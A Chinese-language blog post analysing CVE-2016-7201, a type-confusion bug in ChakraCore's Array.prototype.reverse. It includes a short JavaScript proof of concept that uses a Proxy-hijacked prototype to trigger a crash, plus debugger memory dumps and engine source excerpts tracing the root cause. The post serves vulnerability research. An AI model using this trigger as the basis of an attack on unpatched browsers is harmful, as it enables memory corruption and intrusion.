CVE-2016-7201学习分析

发布者:Ox9A82
发布于:2017-11-09 23:46

CVE-2016-7201学习分析


 

漏洞POC参考自holynop师傅的文章

POC

var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Array("123","456")
arr.length = 24
arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
//arr.__proto__=intarr
arr.__proto__.reverse = Array.prototype.reverse
arr.reverse()

漏洞调试

执行POC发现异常发生在如下位置

if (object->GetScriptContext() == requestContext)
{
        return FALSE;
}

其中object的值为0x0000000600000005,导致内存访问异常
向上追溯发现是把array中的值解释为了指针

void JavascriptArray::DirectSetItemInLastUsedSegmentAt(const uint32 offset, const T newValue)
{
    ...
    VerifyNotNeedMarshal(newValue);//newValue=0x0000000600000005
    ...
}

if (TaggedNumber::Is(instance))
{
    return FALSE;
}
RecyclableObject * object = RecyclableObject::FromVar(instance);//instance=0x0000000600000005
if (object->GetScriptContext() == requestContext) <=== crash
{
    return FALSE;
}

return this->GetLibrary()->GetScriptContext();//this=0x0000000600000005

__inline Type * GetType() const { return type; }//this=0x0000000600000005

其中0x0000000600000005的值其实就是我们POC中的intarr,因为intarr的类型是JavascriptNativeIntArray,因此它内存布局是这样的。

0x0000012444F481C0  00000000 00000007 0000000a  ............
0x0000012444F481CC  00000000 00000000 00000000  ............
0x0000012444F481D8  00000001 00000002 00000003  ............
0x0000012444F481E4  00000004 00000005 00000006  ............
0x0000012444F481F0  00000007 80000002 80000002  .......€...€
0x0000012444F481FC  80000002 00000703 ffffffff  ...€........

可以见得正是把JavascriptNativeIntArray中的5、6元素解释成指针才导致的crash,强制解释的操作如下

if (DynamicObject::IsAnyArray(obj))
{
    arr = JavascriptArray::FromAnyArray(obj);//这里的obj即为我们设置的intarr
}

我们知道这个漏洞是因为Proxy对象劫持Prototype导致的混淆,那么不使用Proxy劫持Prototype而是直接设置Prototype可以触发吗?

//arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
arr.__proto__=intarr

调试发现是不行的,此时intarr的内存会变成如下情况

0x0000022D66654140  0000000700000000  ........
0x0000022D66654148  0000000000000011  ........
0x0000022D66654150  0000000000000000  ........
0x0000022D66654158  0001000000000001  ........
0x0000022D66654160  0001000000000002  ........
0x0000022D66654168  0001000000000003  ........
0x0000022D66654170  0001000000000004  ........
0x0000022D66654178  0001000000000005  ........
0x0000022D66654180  0001000000000006  ........
0x0000022D66654188  0001000000000007  ........
0x0000022D66654190  8000000280000002  ...€...€

并且由Tyoe Object可知此时intarr已经被从JavascriptNativeIntArray转化为JavascriptArray

typeId    TypeIds_Array (28)    Js::TypeId

并且根据前面的代码可以知道,此时并不会把TaggedInt混淆为指针(或者说对JavascriptArray做了正确处理)

if (TaggedNumber::Is(instance))
{
    return FALSE;
}

函数分析

在此我们分析一下漏洞函数,漏洞产生的函数如下

void JavascriptArray::FillFromPrototypes(uint32 startIndex, uint32 limitIndex)
{
    ...
    RecyclableObject* prototype = this->GetPrototype();

    // Fill all missing values by walking through prototype
    while (JavascriptOperators::GetTypeId(prototype) != TypeIds_Null)
    {
        ForEachOwnMissingArrayIndexOfObject(this, nullptr, prototype, startIndex, limitIndex,0, [this](uint32 index, Var value) {
                this->SetItem(index, value, PropertyOperation_None);
            });

        prototype = prototype->GetPrototype();
    }
    ...
}

这个函数由JavascriptArray::ReverseHelper调用,ReverseHelper对应于array.prototype.reverse函数

reverse() 方法将数组中元素的位置颠倒。
第一个数组元素成为最后一个数组元素,最后一个数组元素成为第一个。

var myArray = ['one', 'two', 'three'];
myArray.reverse();
console.log(myArray) // ['three', 'two', 'one']

 

在JavascriptArray::ReverseHelper中会执行IsFillFromPrototypes判断是否需要进行FillFromPrototypes的操作

 Var JavascriptArray::ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext)
{
...
    if (pArr)
    {
        Recycler * recycler = scriptContext->GetRecycler();

        if (length <= 1)
        {
            return pArr;
        }

        if (pArr->IsFillFromPrototypes())
        {
            // For odd-length arrays, the middle element is unchanged,
            // so we cannot fill it from the prototypes.
            if (length % 2 == 0)
            {
                pArr->FillFromPrototypes(0, (uint32)length);
            }
            else
            {
                middle = length / 2;
                pArr->FillFromPrototypes(0, (uint32)middle);
                pArr->FillFromPrototypes(1 + (uint32)middle, (uint32)length);
            }
    }
...
}

其条件之一就是判断this->length == this->head->length,这也是POC中要添加arr.length = 24才会触发的原因。执行之后this->length会变成我们设置的值24而this->head->length仍为原长度不变,因此才会调用FillFromPrototypes触发漏洞。

 

之后在FillFromPrototypes中会依次获取arr的prototype对象直到prototype对象类型为TypeIds_Null为止

RecyclableObject* prototype = this->GetPrototype();

// Fill all missing values by walking through prototype
while (JavascriptOperators::GetTypeId(prototype) != TypeIds_Null)
{
    ForEachOwnMissingArrayIndexOfObject(this, nullptr, prototype, startIndex, limitIndex,0, [this](uint32 index, Var value) {
                this->SetItem(index, value, PropertyOperation_None);
            });

    prototype = prototype->GetPrototype();
}

调用的子函数JavascriptArray::ForEachOwnMissingArrayIndexOfObject中会采取以下操作

ArrayElementEnumerator e(arr, startIndex, limitIndex);

while(e.MoveNext<Var>())
{
    uint32 index = e.GetIndex();
    if (!baseArray->DirectGetVarItemAt(index, &oldValue, baseArray->GetScriptContext()))
    {
        T n = destIndex + (index - startIndex);
        if (destArray == nullptr || !destArray->DirectGetItemAt(n, &oldValue))
        {
            fn(index, e.GetItem<Var>());
        }
    }
}

arr是prototype数组对象,baseArray是初始的array(即脚本中arr),这里的意思是当prototype数组中存在并且原数组中不存在时就进行设置,POC中的

var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Array("123","456")

也因而得以解释,intarr必须要比arr要长才可以触发漏洞。并且这里对于fn调用也是最终导致了以Var方式访问JavascriptNativeIntArray

BOOL JavascriptArray::SetItem(uint32 index, Var value, PropertyOperationFlags flags)
{
    this->DirectSetItemAt(index, value);
    return true;
}

其他

关于利用的更多细节可以查看holynop的原文
http://blogs.360.cn/360safe/2016/11/29/three-roads-lead-to-rome/
此外这个漏洞也是今年Vulcan在HITB的议题《The Secret of ChakraCore:10 Ways to Go Beyond the Edge》的一部分


声明:该文观点仅代表作者本人,转载请注明来自看雪